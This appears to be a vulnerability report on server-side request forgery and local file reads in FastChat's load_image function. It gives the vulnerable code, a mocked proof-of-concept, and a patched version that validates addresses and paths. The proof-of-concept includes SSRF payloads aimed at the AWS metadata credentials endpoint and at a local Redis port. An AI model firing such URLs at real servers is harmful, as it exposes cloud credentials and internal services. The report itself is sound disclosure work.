Vulnerability Report: SSRF + Arbitrary Local File Read in fastchat.utils.load_image via unvalidated image URL/path #3873

def load_image(image_file):
    from PIL import Image
    import requests

    image = None

    if image_file.startswith("http://") or image_file.startswith("https://"):
        timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
        response = requests.get(image_file, timeout=timeout)
        image = Image.open(BytesIO(response.content))
    elif image_file.lower().endswith(("png", "jpg", "jpeg", "webp", "gif")):
        image = Image.open(image_file)
    elif image_file.startswith("data:"):
        image_file = image_file.split(",")[1]
        image = Image.open(BytesIO(base64.b64decode(image_file)))
    else:
        image = Image.open(BytesIO(base64.b64decode(image_file)))
    return image

import sys, requests
calls = []
orig = requests.get
def spy(url, timeout=None, *a, **k):
    calls.append(url)
    print(f"[+] SSRF fired: {url}  (timeout={timeout})")
    class R: content = b"\x89PNG\r\n\x1a\n" + b"\x00"*100
    return R()
requests.get = spy

from fastchat.utils import load_image

# SSRF → AWS IMDS
try: load_image("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
except Exception: pass

# SSRF → internal Redis / port scan
try: load_image("http://127.0.0.1:6379/")
except Exception: pass

# Arbitrary local file open (extension-gated)
open("/tmp/leak.png","wb").write(b"\x89PNG\r\n\x1a\n" + b"\x00"*100)
try:
    img = load_image("/tmp/leak.png")
    print(f"[+] Local file open: size={getattr(img,'size',None)}")
except Exception as e:
    print(f"[!] PIL parse error after open: {e}")

assert len(calls) == 2, calls
print("[+] PoC OK")

from urllib.parse import urlparse
import ipaddress, socket
from pathlib import Path

ALLOWED_SCHEMES = {"http", "https"}
IMAGE_DIR = Path(os.getenv("FASTCHAT_IMAGE_DIR", "/var/lib/fastchat/images")).resolve()

def _is_safe_url(url: str) -> bool:
    p = urlparse(url)
    if p.scheme not in ALLOWED_SCHEMES: return False
    try:
        for fam, _, _, _, sa in socket.getaddrinfo(p.hostname, None):
            ip = ipaddress.ip_address(sa[0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except socket.gaierror:
        return False
    return True

def _is_safe_local(path: str) -> bool:
    try:
        resolved = (IMAGE_DIR / path).resolve()
        return IMAGE_DIR in resolved.parents or resolved == IMAGE_DIR
    except (OSError, ValueError):
        return False

def load_image(image_file):
    from PIL import Image
    import requests
    if image_file.startswith(("http://", "https://")):
        if not _is_safe_url(image_file):
            raise ValueError("URL targets internal/private address; refused")
        timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
        response = requests.get(image_file, timeout=timeout)
        return Image.open(BytesIO(response.content))
    if image_file.lower().endswith(("png","jpg","jpeg","webp","gif")):
        if not _is_safe_local(image_file):
            raise ValueError("Local path outside configured image directory; refused")
        return Image.open(image_file)
    if image_file.startswith("data:"):
        image_file = image_file.split(",", 1)[1]
        return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
    return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))